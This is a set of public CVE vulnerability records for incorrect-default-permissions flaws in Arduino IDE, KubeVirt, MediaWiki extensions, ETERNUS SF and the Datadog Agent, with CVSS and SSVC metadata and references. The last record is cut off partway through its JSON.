CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-12-18 18:51 UTC
CWE
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Vendor Product Version
arduino arduino-ide Affected: < 2.3.7
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-64723",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-12-18T18:51:21.858568Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-12-18T19:06:47.330Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "arduino-ide",
          "vendor": "arduino",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.7"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Arduino IDE is an integrated development environment. Prior to version 2.3.7, Arduino IDE for macOS was configured with overly permissive security entitlements that could bypass macOS Hardened Runtime protections. This configuration allows attackers to inject malicious dynamic libraries into the application process, gaining access to all TCC (Transparency, Consent, and Control) permissions granted to the application. The fix is included starting from the `2.3.7 ` release."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "LOCAL",
            "baseScore": 4.8,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276: Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-14T16:41:03.867Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/arduino/arduino-ide/security/advisories/GHSA-vf5j-xhwq-8vqj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/arduino/arduino-ide/security/advisories/GHSA-vf5j-xhwq-8vqj"
        },
        {
          "name": "https://github.com/arduino/arduino-ide/pull/2805",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/arduino/arduino-ide/pull/2805"
        },
        {
          "name": "https://github.com/arduino/arduino-ide/commit/1fa0fd31c8d6b62f19332e33713a8c5b0f4ed6f9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/arduino/arduino-ide/commit/1fa0fd31c8d6b62f19332e33713a8c5b0f4ed6f9"
        },
        {
          "name": "https://github.com/arduino/arduino-ide/releases/tag/2.3.7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/arduino/arduino-ide/releases/tag/2.3.7"
        },
        {
          "name": "https://support.arduino.cc/hc/en-us/articles/24329484618652-ASEC-25-004-Arduino-IDE-v2-3-7-Resolves-Multiple-Vulnerabilities",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://support.arduino.cc/hc/en-us/articles/24329484618652-ASEC-25-004-Arduino-IDE-v2-3-7-Resolves-Multiple-Vulnerabilities"
        }
      ],
      "source": {
        "advisory": "GHSA-vf5j-xhwq-8vqj",
        "discovery": "UNKNOWN"
      },
      "title": "Arduino IDE for macOS has TCC Bypass via Dynamic Library Injection"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-64723",
    "datePublished": "2025-12-18T15:15:15.883Z",
    "dateReserved": "2025-11-10T14:07:42.923Z",
    "dateUpdated": "2026-01-14T16:41:03.867Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-64436 (GCVE-0-2025-64436)

Vulnerability from cvelistv5 – Published: 2025-11-07 22:59 – Updated: 2025-11-10 18:53
VLAI
Title
KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes
Summary
KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
SSVC
Exploitation: poc Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-11-10 18:52 UTC
CWE
  • CWE-269 - Improper Privilege Management
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Vendor Product Version
kubevirt kubevirt Affected: <= 1.5.0
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-64436",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-10T18:52:35.681339Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-11-10T18:53:09.436Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kubevirt",
          "vendor": "kubevirt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 1.5.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "KubeVirt is a virtual machine management add-on for Kubernetes. In 1.5.0 and earlier, the permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "LOW"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-269",
              "description": "CWE-269: Improper Privilege Management",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276: Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-07T22:59:47.228Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-7xgm-5prm-v5gc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-7xgm-5prm-v5gc"
        }
      ],
      "source": {
        "advisory": "GHSA-7xgm-5prm-v5gc",
        "discovery": "UNKNOWN"
      },
      "title": "KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-64436",
    "datePublished": "2025-11-07T22:59:47.228Z",
    "dateReserved": "2025-11-03T22:12:51.365Z",
    "dateUpdated": "2025-11-10T18:53:09.436Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-62668 (GCVE-0-2025-62668)

Vulnerability from cvelistv5 – Published: 2025-10-18 04:39 – Updated: 2025-10-20 16:27
VLAI
Title
Insufficient permission checks in action=growthsetmentor
Summary
Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - GrowthExperiments Extension allows Resource Leak Exposure.This issue affects Mediawiki - GrowthExperiments Extension: from master before 1.39.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-20 16:26 UTC
CWE
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Credits
SomeRandomDeveloper Urbanecm_WMF
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-62668",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-20T16:26:58.732291Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-20T16:27:08.378Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Mediawiki - GrowthExperiments Extension",
          "vendor": "The Wikimedia Foundation",
          "versions": [
            {
              "lessThan": "1.39",
              "status": "affected",
              "version": "master",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SomeRandomDeveloper"
        },
        {
          "lang": "en",
          "type": "finder",
          "value": "Urbanecm_WMF"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - GrowthExperiments Extension allows Resource Leak Exposure.\u003cp\u003eThis issue affects Mediawiki - GrowthExperiments Extension: from master before 1.39.\u003c/p\u003e"
            }
          ],
          "value": "Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - GrowthExperiments Extension allows Resource Leak Exposure.This issue affects Mediawiki - GrowthExperiments Extension: from master before 1.39."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-131",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-131 Resource Leak Exposure"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276 Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-18T04:39:28.390Z",
        "orgId": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc",
        "shortName": "wikimedia-foundation"
      },
      "references": [
        {
          "url": "https://phabricator.wikimedia.org/T402600"
        },
        {
          "url": "https://gerrit.wikimedia.org/r/q/I29a18dbbaf7e2ce2a713233dbc6880032fec3628"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Insufficient permission checks in action=growthsetmentor",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc",
    "assignerShortName": "wikimedia-foundation",
    "cveId": "CVE-2025-62668",
    "datePublished": "2025-10-18T04:39:28.390Z",
    "dateReserved": "2025-10-18T04:03:51.880Z",
    "dateUpdated": "2025-10-20T16:27:08.378Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2025-62661 (GCVE-0-2025-62661)

Vulnerability from cvelistv5 – Published: 2025-10-21 19:33 – Updated: 2025-10-21 19:51
VLAI
Title
Do permission checking when getting counts of global and local edits, new articles and thanks
Summary
Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension: from 1.43 before 1.44.
Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-21 19:49 UTC
CWE
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Credits
dom_walden mszwarc
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-62661",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-21T19:49:17.423316Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-21T19:51:42.777Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension",
          "vendor": "The Wikimedia Foundation",
          "versions": [
            {
              "lessThan": "1.44",
              "status": "affected",
              "version": "1.43",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "dom_walden"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "mszwarc"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension allows Accessing Functionality Not Properly Constrained by ACLs.\u003cp\u003eThis issue affects Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension: from 1.43 before 1.44.\u003c/p\u003e"
            }
          ],
          "value": "Incorrect Default Permissions vulnerability in The Wikimedia Foundation Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Mediawiki - Thanks Extension, Mediawiki - Growth Experiments Extension: from 1.43 before 1.44."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-1",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 6.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "LOW",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276 Incorrect Default Permissions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-21T19:33:26.399Z",
        "orgId": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc",
        "shortName": "wikimedia-foundation"
      },
      "references": [
        {
          "url": "https://phabricator.wikimedia.org/T397497"
        },
        {
          "url": "https://gerrit.wikimedia.org/r/q/Idbc1b5a288ffaa7074eedcbac066358a8ec649dc"
        },
        {
          "url": "https://gerrit.wikimedia.org/r/q/Ia584966bb7d4d707eef50529293aa3d468470f18"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Do permission checking when getting counts of global and local edits, new articles and thanks",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc",
    "assignerShortName": "wikimedia-foundation",
    "cveId": "CVE-2025-62661",
    "datePublished": "2025-10-21T19:33:26.399Z",
    "dateReserved": "2025-10-17T22:01:52.602Z",
    "dateUpdated": "2025-10-21T19:51:42.777Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2025-62577 (GCVE-0-2025-62577)

Vulnerability from cvelistv5 – Published: 2025-10-20 05:32 – Updated: 2025-11-03 16:06
VLAI
Summary
ETERNUS SF provided by Fsas Technologies Inc. contains an incorrect default permissions vulnerability. A low-privileged user with access to the management server may obtain database credentials, potentially allowing execution of OS commands with administrator privileges.
Severity
8.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-10-20 14:12 UTC
CWE
  • CWE-276 - Incorrect default permissions
Assigner
References
Impacted products
Vendor Product Version
Fsas Technologies Inc. ETERNUS SF AdvancedCopy Manager Standard Edition (for Solaris 10/ 11) Affected: 15.0/ 15.1/ 15.2/ 15.3/ 16.0/ 16.1/ 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF Storage Cruiser (for Solaris 10/ 11) Affected: 15.0/ 15.1/ 15.2/ 15.3/ 16.0/ 16.1/ 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF AdvancedCopy Manager Standard Edition (for RHEL 7/ 8/ 9) Affected: 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF Expressn (for RHEL 7/ 8/ 9) Affected: 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF Storage Cruisern (for RHEL 7/ 8/ 9) Affected: 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF AdvancedCopy Manager Standard Edition (for Windows Server 2016/ 2019/ 2022) Affected: 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF Express (for Windows Server 2016/ 2019/ 2022) Affected: 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Fsas Technologies Inc. ETERNUS SF Storage Cruiser (for Windows Server 2016/ 2019/ 2022) Affected: 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-62577",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-20T14:12:12.186180Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-20T14:12:31.176Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T16:06:00.674Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://security.ts.fujitsu.com/ProductSecurity/content/FsasTech-PSIRT-FTI-STR-2025-102005-Security-Notice.pdf"
          }
        ],
        "title": "CVE Program Container",
        "x_generator": {
          "engine": "ADPogram 0.0.1"
        }
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ETERNUS SF AdvancedCopy Manager Standard Edition (for Solaris 10/ 11)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "15.0/ 15.1/ 15.2/ 15.3/ 16.0/ 16.1/ 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF Storage Cruiser (for Solaris 10/ 11)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "15.0/ 15.1/ 15.2/ 15.3/ 16.0/ 16.1/ 16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF AdvancedCopy Manager Standard Edition (for RHEL 7/ 8/ 9)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF Expressn (for RHEL 7/ 8/ 9)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF Storage Cruisern (for RHEL 7/ 8/ 9)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.2/ 16.3/ 16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF AdvancedCopy Manager Standard Edition (for Windows Server 2016/ 2019/ 2022)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF Express (for Windows Server 2016/ 2019/ 2022)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        },
        {
          "product": "ETERNUS SF Storage Cruiser (for Windows Server 2016/ 2019/ 2022)",
          "vendor": "Fsas Technologies Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "16.4/ 16.5/ 16.6/ 16.7/ 16.8/ 16.9/ 16.9.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ETERNUS SF provided by Fsas Technologies Inc. contains an incorrect default permissions vulnerability. A low-privileged user with access to the management server may obtain database credentials, potentially allowing execution of OS commands with administrator privileges."
        }
      ],
      "metrics": [
        {
          "cvssV3_0": {
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.0"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en-US",
              "value": "GENERAL"
            }
          ]
        },
        {
          "cvssV4_0": {
            "baseScore": 8.4,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H",
            "version": "4.0"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en-US",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "Incorrect default permissions",
              "lang": "en-US",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-20T05:32:41.402Z",
        "orgId": "ede6fdc4-6654-4307-a26d-3331c018e2ce",
        "shortName": "jpcert"
      },
      "references": [
        {
          "url": "https://www.fujitsu.com/global/support/products/computing/storage/20251020/index.html"
        },
        {
          "url": "https://www.fsastech.com/ja-jp/resources/security/2025/1020.html"
        },
        {
          "url": "https://jvn.jp/en/jp/JVN44266462/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "ede6fdc4-6654-4307-a26d-3331c018e2ce",
    "assignerShortName": "jpcert",
    "cveId": "CVE-2025-62577",
    "datePublished": "2025-10-20T05:32:41.402Z",
    "dateReserved": "2025-10-16T00:39:29.822Z",
    "dateUpdated": "2025-11-03T16:06:00.674Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-61667 (GCVE-0-2025-61667)

Vulnerability from cvelistv5 – Published: 2025-11-12 18:50 – Updated: 2025-11-12 21:04
VLAI
Title
Datadog Linux Host Agent affected by local privilege escalation due to insufficient pycache permissions
Summary
The Datadog Agent collects events and metrics from hosts and sends them to Datadog. A vulnerability within the Datadog Linux Host Agent versions 7.65.0 through 7.70.2 exists due to insufficient permissions being set on the `opt/datadog-agent/python-scripts/__pycache__` directory during installation. Code in this directory is only run by the Agent during Agent install/upgrades. This could allow an attacker with local access to modify files in this directory, which would then subsequently be run when the Agent is upgraded, resulting in local privilege escalation. This issue requires local access to the host and a valid low privilege account to be vulnerable. Note that this vulnerability only impacts the Linux Host Agent. Other variations of the Agent including the container, kubernetes, windows host and other agents are not impacted. Version 7.71.0 contains a patch for the issue.
Severity
7 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2025-11-12 20:45 UTC
CWE
  • CWE-276 - Incorrect Default Permissions
Assigner
References
Impacted products
Vendor Product Version
DataDog datadog-agent Affected: >= 7.65.0 , < 7.71.0
Create a notification for this product.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-61667",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-12T20:45:47.511430Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-11-12T21:04:11.852Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "datadog-agent",
          "vendor": "DataDog",
          "versions": [
            {
              "status": "affected",
